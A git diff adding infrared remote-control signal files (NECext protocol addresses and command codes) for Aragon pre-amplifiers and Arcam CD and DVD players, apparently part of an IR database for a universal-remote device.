b/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir new file mode 100644 index 000000000..69c096223 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: << +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: DTS_MODE:_MOVIE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: DTS_MODE:_MUSIC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: EXIT_SETUP_MENU +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: PL:_DIMENSION_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: PL:_DIMENSION_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: DD:_COMPR:_LOW +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 19 00 00 00 +# +name: DD:_COMPR:_MEDIUM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: DD:_COMPR:_OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1C 00 00 00 +# +name: DD:_COMPR:_NIGHT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1D 00 00 00 +# +name: DISPLAY_ON +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1F 00 00 00 +# +name: LIGHT_ON +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: LIGHT_OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: LIGHT_DIM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 22 00 00 00 +# +name: THX:_ASA_MODE:MUSIC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 24 00 00 00 +# +name: THX:_ASA_MODE:OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 25 00 00 00 +# +name: THX:_EX_MODE:_ON +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 26 00 00 00 +# +name: THX:_EX_MODE:_OFF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 27 00 00 00 +# +name: THX:_EX_MODE:_AUTO +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 28 00 00 00 +# +name: THX:_ASA_MODE:CINEMA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir new file mode 100644 index 000000000..60a0eff5c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: ANALOG +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 01 00 00 00 +# +name: DTS_NEO +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 02 00 00 00 +# +name: CLUB +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 03 00 00 00 +# +name: INPUT_GAIN_+ +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 04 00 00 00 +# +name: 5_CH_STEREO +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 05 00 00 00 +# +name: PARTY +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 06 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 07 00 00 00 +# +name: INPUT_GAIN_- +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 08 00 00 00 +# +name: VID_SW:_AUX +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: VID_SW:_CD/LD +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: VID_SW:_DVD +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: VID_SW:_TAPE +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: VID_SW:_TV +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: VID_SW:_VCR +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: VID_SW:_VIDEO +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 09 00 00 00 +# +name: ADVANCED_SETUP +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0A 00 00 00 +# +name: PL:_MODE:_PANORAMA +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0B 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0C 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0D 00 00 00 +# +name: THX:_RE_EQ_OFF +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0E 00 00 00 +# +name: THX:_RE_EQ_ON +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 0F 00 00 00 +# +name: OTF_ADJ:_CENTER_+ +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 10 00 00 00 +# +name: OTF_ADJ:_CENTER_- +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 11 00 00 00 +# +name: OTF_ADJ:_SUBWOOFER_+ +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 12 00 00 00 +# +name: OTF_ADJ:_SUBWOOFER_- +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 13 00 00 00 +# +name: THX:_THX_ON +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 15 00 00 00 +# +name: THX:_THX_OFF +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 16 00 00 00 +# +name: PL:_MODE:_MUSIC +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 17 00 00 00 +# +name: PL:_MODE:_MOVIE +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 18 00 00 00 +# +name: PL:_CENTER_+ +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 19 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1A 00 00 00 +# +name: 8_CHANNEL_INPUT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1B 00 00 00 +# +name: PRO_LOGIC_II +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1C 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1D 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 25 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 26 00 00 00 +# +name: PL:_MODE:_MATRIX +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 27 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 28 00 00 00 +# +name: PL:_MODE:_PRO_LOGIC +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 29 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 2A 00 00 00 +# +name: PL:_CENTER_- +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 2B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 2C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 2D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 2E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 2F 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 30 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 31 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 32 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 33 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 34 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 35 00 00 00 +# +name: INPUT:_TV +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 36 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 37 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 38 00 00 00 +# +name: INPUT:_VCR +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 39 00 00 00 +# +name: INPUT:_CD/LD +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3A 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3B 00 00 00 +# +name: INPUT:_AUX +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3C 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3D 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir new file mode 100644 index 000000000..b4ce80fc9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: REVERSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir new file mode 100644 index 000000000..f682558a2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir new file mode 100644 index 000000000..ac5f8d2d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 7B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir new file mode 100644 index 000000000..56088d6d2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: + +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: +A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: -A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir new file mode 100644 index 000000000..3160192ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir @@ -0,0 +1,1334 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: 0A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: 1A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: TRACK_1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: 2A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: TRACK_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: 3A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: TRACK_3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: 4A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: TRACK_4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: 5A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: TRACK_5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: 6A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: TRACK_6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: 7A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: TRACK_7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: 8A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: TRACK_8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: 9A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: TRACK_9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: TRACK_10 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: TRACK_11 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: POWER_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: TRACK_12 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: POWERA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: TRACK_13 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: TRACK_14 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: TRACK_15 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: TRACK_16 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: TRACK_17 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: DISPLAY_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: TRACK_18 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: DISP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: TRACK_19 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: TRACK_20 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: TRACK_21 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: TRACK_22 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: TRACK_23 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: TRACK_24 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: TRACK_25 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 19 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_TOGGLE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1D 00 00 00 +# +name: SLOWF +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: SLOW_FORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: >A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: SLOW_+_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: SLOWR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1F 00 00 00 +# +name: SLOW_REWIND +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1F 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1F 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: >IA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: TRACK_FORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: NEXT_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: SKIPB +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: SKIPB_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: TRACK_BACK +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: I< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: I> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: >>A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: TRIM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: FWD_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: PLAY_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: PLAYA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: PLAY_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: STOP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: STOPA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: TRACK_BACK +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: STOP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3A 00 00 00 +# +name: CLEARA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3A 00 00 00 +# +name: MARK_AB +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3B 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3B 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3B 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3B 00 00 00 +# +name: A/BA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 3B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 40 00 00 00 +# +name: PROGRAM_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 40 00 00 00 +# +name: PMODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 40 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 40 00 00 00 +# +name: RANDOM_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 40 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: SUBTITLE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: SUBTITLES +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: SUBTITLESA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: SUBTITLE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 42 00 00 00 +# +name: TITLE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 42 00 00 00 +# +name: TITLE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 42 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 43 00 00 00 +# +name: MENU_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 43 00 00 00 +# +name: MENUA +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 43 00 00 00 +# +name: MENU_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 43 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 44 00 00 00 +# +name: ZOOM_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 44 00 00 00 +# +name: ZOOM_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 44 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 45 00 00 00 +# +name: AUDIO_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 45 00 00 00 +# +name: AUDIO_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 45 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 46 00 00 00 +# +name: MEM_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 46 00 00 00 +# +name: MEM_(BOOKMARK) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 46 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 46 00 00 00 +# +name: MEMORY_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 46 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 48 00 00 00 +# +name: RETURN_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 48 00 00 00 +# +name: RETURN_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 48 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 49 00 00 00 +# +name: ANGLE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 49 00 00 00 +# +name: ANGLE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 49 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4A 00 00 00 +# +name: SETUP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4A 00 00 00 +# +name: SETUP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4A 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4B 00 00 00 +# +name: STATUS_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4B 00 00 00 +# +name: STATUS_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4B 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4C 00 00 00 +# +name: SEARCH_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4C 00 00 00 +# +name: SEARCH_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4C 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4D 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4D 00 00 00 +# +name: MODE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4D 00 00 00 +# +name: RIGHT_CURSOR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: RIGHT_CURSOR_A +type: parsed +protocol: NECext +address: 19 00 00 00 